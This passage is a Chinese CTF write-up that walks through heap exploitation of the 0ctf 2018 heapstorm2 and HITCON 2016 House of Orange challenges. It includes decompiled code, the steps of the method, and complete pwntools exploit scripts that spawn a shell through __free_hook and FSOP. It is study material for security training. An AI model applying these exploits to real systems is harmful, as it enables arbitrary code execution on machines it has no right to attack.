sla('Choice: ','666')
s(p64(0)*6)
itr()

0ctf_2018_heapstorm2

在这里插入图片描述
同样是保护全开,

main

实现四个功能,增删改查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h] //v4=0x13370800

v4 = sub_BE6();

while ( 1 )
{
menu();
switch ( chioce(a1, a2) )
{
case 1LL:
a1 = v4;
add(v4);
break;
case 2LL:
a1 = v4;
up(v4);
break;
case 3LL:
a1 = v4;
delete(v4);
break;
case 4LL:
a1 = v4;
show(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}

主函数里有个sub_BE6()函数,其中禁用了fastbin,并且用mmap在0x13370000处分配了大小为0x1000的chunk,从/dev/urandom中读取了3个随机数到0x13370800处,还调用了两个异或函数,由后面可知,是对chunk的头指针和size进行了异或加密,返回0x13370800给v4,这里相当于有四个随机数,第三个和第四个随机数相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 sub_BE6()
{
int i; // [rsp+8h] [rbp-18h]
int fd; // [rsp+Ch] [rbp-14h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n");
puts("===== HEAP STORM II =====");
if ( !mallopt(1, 0) ) // 禁用fastbin
exit(-1);
if ( mmap(0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != 322371584 )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
if ( read(fd, 0x13370800, 0x18uLL) != 24 )
exit(-1);
close(fd);
MEMORY[0x13370818] = MEMORY[0x13370810];
for ( i = 0; i <= 15; ++i )
{
*(16 * (i + 2LL) + 0x13370800) = ptr_xor(0x13370800, 0LL);
*(16 * (i + 2LL) + 0x13370808) = size_xor(0x13370800LL, 0LL);
}
return 0x13370800LL;
}

ptr_xor()

1
2
3
4
__int64 __fastcall ptr_xor(_QWORD *a1, __int64 a2)
{
return *a1 ^ a2; //a1为第一个随机数
}

size_xor()

1
2
3
4
__int64 __fastcall size_xor(__int64 a1, __int64 a2)
{
return a2 ^ *(a1 + 8); //a1+8为第一个随机数
}

readd函数存在一个off-by-one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 __fastcall sub_1402(__int64 a1, __int64 a2)
{
__int64 v3; // rax
char buf; // [rsp+17h] [rbp-19h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
ssize_t v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
if ( !a2 )
return 0LL;
v5 = 0LL;
while ( a2 - 1 > v5 )
{
v6 = read(0, &buf, 1uLL);
if ( v6 > 0 )
{
if ( buf == 10 )
break;
v3 = v5++;
*(v3 + a1) = buf;
}
else if ( *_errno_location() != 11 && *_errno_location() != 4 )
{
break;
}
}
*(a1 + v5) = 0; // off-by-null
return v5;
}

add函数
只能申请0xC 到0x1000的chunk,且chunk的头指针和size用 了异或加密,由上面的异或函数可知只是用了前两个随机数,并且我们看到chunk的头指针和size是 在0x13370800+4*0x8处开始存放的,按照mem指针+size顺序依次存放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __fastcall add(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !size_xor(a1, *(16 * (i + 2LL) + a1 + 8)) )
{
printf("Size: ");
size = chioce();
if ( size > 12 && size <= 4096 )
{
v3 = calloc(size, 1uLL);
if ( !v3 )
exit(-1);
*(16 * (i + 2LL) + a1 + 8) = size_xor(a1, size);
*(16 * (i + 2LL) + a1) = ptr_xor(a1, v3);
printf("Chunk %d Allocated\n", i);
}
else
{
puts("Invalid Size");
}
return;
}
}
}

edit函数

读入的数据+12要小于等于申请时写的size,我们读入的数据会追加上一个12字节字符串再加上一个0结尾,所以存在off_by_null但是prev_size无法控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall edit(_QWORD *a1)
{
signed int v2; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
__int64 v4; // [rsp+18h] [rbp-18h]

printf("Index: ");
v2 = chioce();
if ( v2 > 0xF || !size_xor(a1, a1[2 * v2 + 5]) )
return puts("Invalid Index");
printf("Size: ");
v3 = chioce();
if ( v3 <= 0 || v3 > (size_xor(a1, a1[2 * v2 + 5]) - 12) )
return puts("Invalid Size");
printf("Content: ");
v4 = ptr_xor(a1, a1[2 * v2 + 4]);
sub_1377(v4, v3);
strcpy((v3 + v4), "HEAPSTORM_II");
return printf("Chunk %d Updated\n", v2);
}

free函数

不存在uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall sub_109B(_QWORD *a1)
{
void *v2; // rax
signed int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v3 = chioce();
if ( v3 > 0xF || !size_xor(a1, a1[2 * v3 + 5]) )
return puts("Invalid Index");
v2 = ptr_xor(a1, a1[2 * v3 + 4]);
free(v2);
a1[2 * v3 + 4] = ptr_xor(a1, 0LL);
a1[2 * v3 + 5] = size_xor(a1, 0LL);
return printf("Chunk %d Deleted\n", v3);
}

show函数

需要满足 (a1[3] ^ a1[2]) == 0x13377331才能使用该函数,也就是第2个随机数和第3个随机数异或后为0x13377331才行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
	int __fastcall sub_11B5(_QWORD *a1)
{
__int64 v2; // rbx
__int64 v3; // rax
signed int v4; // [rsp+1Ch] [rbp-14h]

if ( (a1[3] ^ a1[2]) != 0x13377331LL )
return puts("Permission denied");
printf("Index: ");
v4 = chioce();
if ( v4 > 0xF || !size_xor(a1, a1[2 * v4 + 5]) )
return puts("Invalid Index");
printf("Chunk[%d]: ", v4);
v2 = size_xor(a1, a1[2 * v4 + 5]);
v3 = ptr_xor(a1, a1[2 * v4 + 4]);
sub_14D4(v3, v2);
return puts(byte_180A);
}

思路

题目保护全开,我们想到的是把free_hook改为system地址,而我们首先得泄露出libc基地址,就必须利用show函数,要想利用show函数,就必须修改第3个随机数和第4个随机数的值,使它们异或后为0x13377331,随机数是在0x13370800处,我们就想到要将chunk分配到0x13370800处,程序允许我们分配最大0x1000大小的chunk,可以使用House of storm来将chunk分配到0x13370800处,这样我们不仅控制了四个随机数,还控制了chunk的全局数组

过程

先把前面的东西写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#coding:utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./0ctf_2018_heapstorm2')
libc = ELF('./libc-2.23.so')
#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim,data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim,data)
r = lambda num=4096 :sh.recv(num)
rl = lambda num=4096 :sh.recvline(num)
ru = lambda delims :sh.recvuntil(delims )
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def dbg():
gdb.attach(sh)
pause()
def add(size):
sla('Command: ','1')
sla('Size: ',str(size)) # 12<size<0x1000


def edit(idx,content):
sla('Command: ','2')
sla('Index: ',str(idx))
sla('Size: ',str(len(content)))
sa('Content: ',content)



def free(idx):
sla('Command: ','3')
sla('Index: ',str(idx))


def show(idx):
sla('Command: ','4')
sla('Index: ',str(idx))

和上一题一样,先构造一个unsortedbin和largebin,并且利用off-by-null来实现控制unsortedbin chunk的bk指针和largebin chunk的bk和bk_size指针,然后再malloc chunk,将chunk分配到0x13370800处,这里要注意的是这道题的edit函数有点不同,会把我们输入的字节后面加上12字节再加一个’\x00’,所以我们每次edit都要少输入12字节即可实现0ff-by-null。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#---------------布置chunk-------------------------#
add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5

add(0x18)#6

#----------------准备 unsorted chunk-----------------------#
edit(1,'\x00'*0x4F0+p64(0x500))
free(1)
edit(0,'\x00'*(0x18-12))
add(0x18) #1
add(0x4d8) #7

free(1)
free(2) #1-2

add(0x38)#1
add(0x4e8)#2

#-------------------准备 large chunk-----------------------------------#
edit(4,'\x00'*0x4F0+p64(0x500))
free(4)
edit(3,'\x00'*(0x18-12))
add(0x18) #4
add(0x4d8) #8

free(4)
free(5) #4-5

add(0x48)#4
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
free(2)
add(0x4e8)
free(2)
#--------------修改他们是的满足条件进行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk

payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)
add(0x48)

现在我们已经可以控制0x13370800处的值了,我们把这些随机数都改为0,然后把chunk_0改为0x13370800,以此来实现控制

1
2
3
4
5
6
7
#-----------------------泄漏 libc----------------------------------#
#由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址

payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0

dbg()

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

之后修改0x13370800处的第三个和第四个数分别为0和0x13377331,两者异或得到0x13377331,越过show函数的检查,此时已经可以使用show函数,因为我们要泄露的unsortedbin chunk的fd指针(指向main_arena+88),我们必须在chunk的全局数组中写入0x56104462a060来show,但是程序每次运行地址不同,由上图可知fake_chunk+3处存放的就是0x56104462a060,
所以我们需要利用fake_chunk+3(unsortedbin chunk的地址)来泄露libc,我们每次把chunk0的位置写为0x13370800,就可以实现每次通过chunk0来控制0x13370800

1
2
3
4
5
6
7
8
9
10
11
payload = p64(0)*3 +p64(0x13377331)  #满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8) #chunk1
edit(0, payload) #满足show的条件

show(1) #我们刚刚house of storm 写的地址泄漏出来
ru("]: ")
heap = u64(r(6).ljust(8, '\x00'))
success("heap:"+hex(heap))

dbg()

在这里插入图片描述

在这里插入图片描述
此时我们成功泄露出unsortedbin chunk的地址,我们再修改全局数组为unsortedbin chunk的地址+0x10(main_arena+88),然后即可泄露处libc基地址

1
2
3
4
5
6
7
8
9
10
11
12
payload  = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)
show(1) #泄漏libc地址
ru("]: ")
malloc_hook = u64(r(6).ljust(8, '\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))
dbg()

在这里插入图片描述

之后我们要做到就是在全局数组里写入free hook地址和/bin/sh,将其改为system,获得shell,free_hook在chunk0处,/bin/sh\x00在chunk1处

1
2
3
4
5
6
7
8
#--------------修改 free_hook -----------------------------------#
payload = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += '/bin/sh\x00'
edit(0, payload)

dbg()

在这里插入图片描述
之后改free_hook为system,free(1),获得shell

1
2
3
4
edit(0, p64(system))
free(1)

itr()

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#coding:utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./0ctf_2018_heapstorm2')
libc = ELF('./libc-2.23.so')
#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim,data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim,data)
r = lambda num=4096 :sh.recv(num)
rl = lambda num=4096 :sh.recvline(num)
ru = lambda delims :sh.recvuntil(delims )
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg():
gdb.attach(sh)
pause()
def add(size):

sla('Command: ','1')
sla('Size: ',str(size)) # 12<size<0x1000


def edit(idx,content):
sla('Command: ','2')
sla('Index: ',str(idx))
sla('Size: ',str(len(content)))
sa('Content: ',content)



def free(idx):
sla('Command: ','3')
sla('Index: ',str(idx))


def show(idx):
sla('Command: ','4')
sla('Index: ',str(idx))

#---------------布置chunk-------------------------#
add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5

add(0x18)#6

#----------------准备 unsorted chunk-----------------------#
edit(1,'\x00'*0x4F0+p64(0x500))
free(1)
edit(0,'\x00'*(0x18-12))
add(0x18) #1
add(0x4d8) #7

free(1)
free(2) #1-2 合并

add(0x38)#1
add(0x4e8)#2

#-------------------准备 large chunk-----------------------------------#
edit(4,'\x00'*0x4F0+p64(0x500))#伪造chunk
free(4)
edit(3,'\x00'*(0x18-12))
add(0x18) #4
add(0x4d8) #8

free(4)
free(5) #4-5

add(0x48)#4
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
free(2)
add(0x4e8)
free(2)
#--------------修改他们是的满足条件进行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk

payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
add(0x48) #2 -> 0x133707e0 成功将申请到了heaparray附近



#-----------------------泄漏 libc----------------------------------#
#由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址

payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0

#dbg()

payload = p64(0)*3 +p64(0x13377331) #满足show的条件

payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8) #chunk1
edit(0, payload) #满足show的条件

#dbg()

show(1) #我们刚刚house of storm 写的地址泄漏出来
ru("]: ")
heap = u64(r(6).ljust(8, '\x00'))
success("heap:"+hex(heap))

#dbg()

payload = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)

#dbg()

show(1) #泄漏libc地址
ru("]: ")
malloc_hook = u64(r(6).ljust(8, '\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))

#--------------修改 free_hook -----------------------------------#
payload = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += '/bin/sh\x00'
edit(0, payload)
#dbg()
edit(0, p64(system))
free(1)

itr()

参考文章
House of storm 原理及利用
Largebin Attack
CTF-WIKI
Largebin attack总结

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

1
2
3
4
5
fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。
fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

想要使用该技术分配 chunk 到指定地址,其实并不需要修改指定地址的任何内容,关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测。

House of orange

前提

题目中不存在 free 函数或其他释放堆块的函数。

原理

House of Orange 核心就是通过漏洞利用获得 free 的效果。当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

利用方法

1
2
3
1.篡改top chunk size(注意size需要对齐内存页)
2.分配比top chunk size大的chunk。
3.现在原来的top chunk进入了unsorted bin中,再次malloc就会从unsored bin中切分出需要的大小,剩余部分作新的unsorted bin。

注意:伪造top chunk size时,必须满足以下要求

1
2
3
4
5
1.伪造的size必须要对齐到内存页。
2.size要大于MINSIZE。
3.size要小于之后申请的chunk size + MINISIZE。
4.size的prev inuse位必须为1
5.malloc的大小不能大于mmap分配阈值。

例题

houseoforange_hitcon_2016

在这里插入图片描述
保护全开,打开ida

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
int choice; // eax

sub_1218();
while ( 1 )
{
while ( 1 )
{
menu();
choice = my_read(a1, a2);
if ( choice != 2 )
break;
show();
}
if ( choice > 2 )
{
if ( choice == 3 )
{
edit();
}
else
{
if ( choice == 4 )
{
puts("give up");
exit(0);
}
LABEL_13:
a1 = "Invalid choice";
puts("Invalid choice");
}
}
else
{
if ( choice != 1 )
goto LABEL_13;
add();
}
}
}

add函数

会申请三个chunk,chunk_1存放chunk_2和chunk_3的mem指针,chunk_2存放name,chunk_3存放price和color。由于num2的限制,只能使用4次add函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int add()
{
unsigned int size; // [rsp+8h] [rbp-18h]
int color; // [rsp+Ch] [rbp-14h]
_QWORD *v3; // [rsp+10h] [rbp-10h]
_DWORD *v4; // [rsp+18h] [rbp-8h]

if ( num2 > 3u ) // num开始为0,可利用add4次
{
puts("Too many house");
exit(1);
}
v3 = malloc(0x10uLL); //chunk_1
printf("Length of name :");
size = my_read();
if ( size > 0x1000 )
size = 0x1000;
v3[1] = malloc(size); //chunk_2
if ( !v3[1] )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
my_read2((void *)v3[1], size);
v4 = calloc(1uLL, 8uLL); //chunk_3
printf("Price of Orange:");
*v4 = my_read();
::color();
printf("Color of Orange:");
color = my_read();
if ( color != 0xDDAA && (color <= 0 || color > 7) )
{
puts("No such color");
exit(1);
}
if ( color == 0xDDAA )
v4[1] = 0xDDAA;
else
v4[1] = color + 30;
*v3 = v4;
heap_array = v3;
++num2;
return puts("Finish");
}

show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int sub_EE6()
{
int v0; // eax
int v2; // eax

if ( !heap_array )
return puts("No such house !");
if ( *(_DWORD *)(*heap_array + 4LL) == 0xDDAA )
{
printf("Name of house : %s\n", (const char *)heap_array[1]);
printf("Price of orange : %d\n", *(unsigned int *)*heap_array);
v0 = rand();
return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));
}
else
{
if ( *(int *)(*heap_array + 4LL) <= 30 || *(int *)(*heap_array + 4LL) > 37 )
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %s\n", (const char *)heap_array[1]);
printf("Price of orange : %d\n", *(unsigned int *)*heap_array);
v2 = rand();
return printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*heap_array + 4LL), *((const char **)&unk_203080 + v2 % 8));
}
}

edit函数

存在漏洞,修改chunk时的size大小由我们自己修改,可造成堆溢出,修改下一个chunk的内容,edit函数有num作为限制,只能使用3次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int sub_107C()
{
_DWORD *v1; // rbx
unsigned int size; // [rsp+8h] [rbp-18h]
int v3; // [rsp+Ch] [rbp-14h]

if ( num > 2u ) // num开始为0,可利用edit3次
return puts("You can't upgrade more");
if ( !heap_array )
return puts("No such house !");
printf("Length of name :");
size = my_read();
if ( size > 0x1000 )
size = 4096;
printf("Name:"); // size由我们输入,存在溢出
my_read2((void *)heap_array[1], size);
printf("Price of Orange: ");
v1 = (_DWORD *)*heap_array;
*v1 = my_read();
color();
printf("Color of Orange: ");
v3 = my_read();
if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 0xDDAA )
*(_DWORD *)(*heap_array + 4LL) = 0xDDAA;
else
*(_DWORD *)(*heap_array + 4LL) = v3 + 30;
++num;
return puts("Finish");
}

分析

程序不存在free函数,而按照我们的一般思路都是先free一个大于0x7f的chunk,进入unsortedbin,获得libc基地址,之后覆盖hook函数为system函数获得shell。而这道题不能这样做,add和edit函数的使用次数也有限制,这道题的edit函数存在堆溢出,可以考虑使用House of orange,通过修改top chunk为一个比较小的值,然后分配一个很大的chunk,使top chunk进入unsortedbin,从而泄露libc,这样heap基地址也能泄露出来,之后的话,可以使用FSOP,获得shell。

过程

先把前面的写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# coding=utf-8
from pwn import *

context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序,linux系统,64位架构,debug

binary = './houseoforange_hitcon_2016'
#sh = process(binary) #连接本地程序
sh = remote('node4.buuoj.cn',26188) #连接远程程序
elf = ELF(binary)
libc = ELF('../../libc-2.23.so--64')

#libc-2.23.so--64
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget[0] = 0x45216
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims )
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))
#定义gdb调试函数
def dbg():
gdb.attach(sh)
pause()
def add(size, content, price='2', color='1'):
ru("Your choice : ")
sl('1')
ru("Length of name :")
sl(str(size))
ru("Name :")
sh.send(content)
ru("Price of Orange:")
sl(str(price))
ru("Color of Orange:") #1-7
sl(str(color))


def show():
ru("Your choice : ")
sl('2')

def edit(size, content, price='2', color='1'):
ru("Your choice : ")
sl('3')
ru("Length of name :")
sl(str(size))
ru("Name:")
sh.send(content)
ru("Price of Orange:")
sl(str(price))
ru("Color of Orange:") #1-7
sl(str(color))

修改top chunk

随便申请一个chunk,然后利用edit函数,溢出修改topchunk

1
2
3
4
5
add(0x30,'aaaa\n')
dbg()
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(2) + p32(2) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload)
dbg()

在这里插入图片描述
top chunk大小为0x0000000000020f81
修改后的top chunk 大小为0x0000000000000f81
在这里插入图片描述

申请大于top chunk的chunk,进入unsortedbin

1
2
add(0x1000, 'a\n')
dbg()

在这里插入图片描述

泄露libc和heap

调试可得此时我们刚刚申请的0x400chunk里存放着0x00007fe0c1216188距离libc基地址0x3c5188(0x00007fe0c1216188-0x7fe0c0e51000),该chunk里还存放着heap地址,因为printf遇到’\x00’会停止打印,所以我们将0x00007fe0c1216188改为字符串b,再将其输出

1
2
3
4
5
6
7
8
add(0x400, 'a' * 8)
show()
ru('a'*8)
libc.address = u64(ru('\x7f').ljust(8, '\x00')) - 0x3c5188
lg('libc.address',libc.address)
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']
dbg()

在这里插入图片描述

我们泄露出的heap为0x5617117b30e0,距离heap基地址0x5617117b30e0-0x5617117b3000=0xe0,由此可获得heap_base地址

1
2
3
4
5
6
7
8
payload = 'b' * 0x10
edit(0x10, payload)
show()
ru('b'*0x10)
heap = u64(sh.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
lg('heap_base',heap_base)
dbg()

在这里插入图片描述

构造fake_file

接下来我们修改当前unsortedbin中chunk的大小和内容,这里FSOP还不太明白,先借用一下大佬写的解释

malloc时,对unsorted bin进行判断,此时该chunk的size为0x60,不满足要求,就把该chunk放入small bin,并且向bk->fd写入main_arena+0x58,即向_IO_list_all写入main_arena+0x58,此时判断下一个unsorted bin(_IO_list_all),而这里实际上没有chunk,此时会触发错误,此时第一个_IO_FILE_plus结构体为main_arena+0x58,而它不满足条件,就通过_chain调到下一个_IO_FILE_plus结构体,_chain位于0x68偏移的地方,main_arena+0x58+0x68=main_arena+0xc0,就是small bin中0x60大小的地方,这就回到了我们伪造的_IO_FILE_plus结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
dbg()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(2) + p32(1) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload)
dbg()

修改前
在这里插入图片描述
修改后
在这里插入图片描述

之后我们再调用add函数,调用malloc函数,就可以产生错误信息,改变程序执行流程,获得shell

1
2
3
ru("Your choice : ")
sl('1')
itr()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# coding=utf-8
from pwn import *

context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序,linux系统,64位架构,debug

binary = './houseoforange_hitcon_2016'
#sh = process(binary) #连接本地程序
sh = remote('node4.buuoj.cn',26188) #连接远程程序
elf = ELF(binary)
libc = ELF('../../libc-2.23.so--64')

#libc-2.23.so--64
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget[0] = 0x45216
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims )
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))
#定义gdb调试函数
def dbg():
gdb.attach(sh)
pause()
def add(size, content, price='2', color='1'):
ru("Your choice : ")
sl('1')
ru("Length of name :")
sl(str(size))
ru("Name :")
sh.send(content)
ru("Price of Orange:")
sl(str(price))
ru("Color of Orange:") #1-7
sl(str(color))


def show():
ru("Your choice : ")
sl('2')

def edit(size, content, price='2', color='1'):
ru("Your choice : ")
sl('3')
ru("Length of name :")
sl(str(size))
ru("Name:")
sh.send(content)
ru("Price of Orange:")
sl(str(price))
ru("Color of Orange:") #1-7
sl(str(color))



add(0x30,'aaaa\n')
#dbg()
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(2) + p32(1) + p64(0) * 2 + p64(0xf81)

edit(len(payload), payload)
#dbg()
add(0x1000, 'a\n')
#dbg()
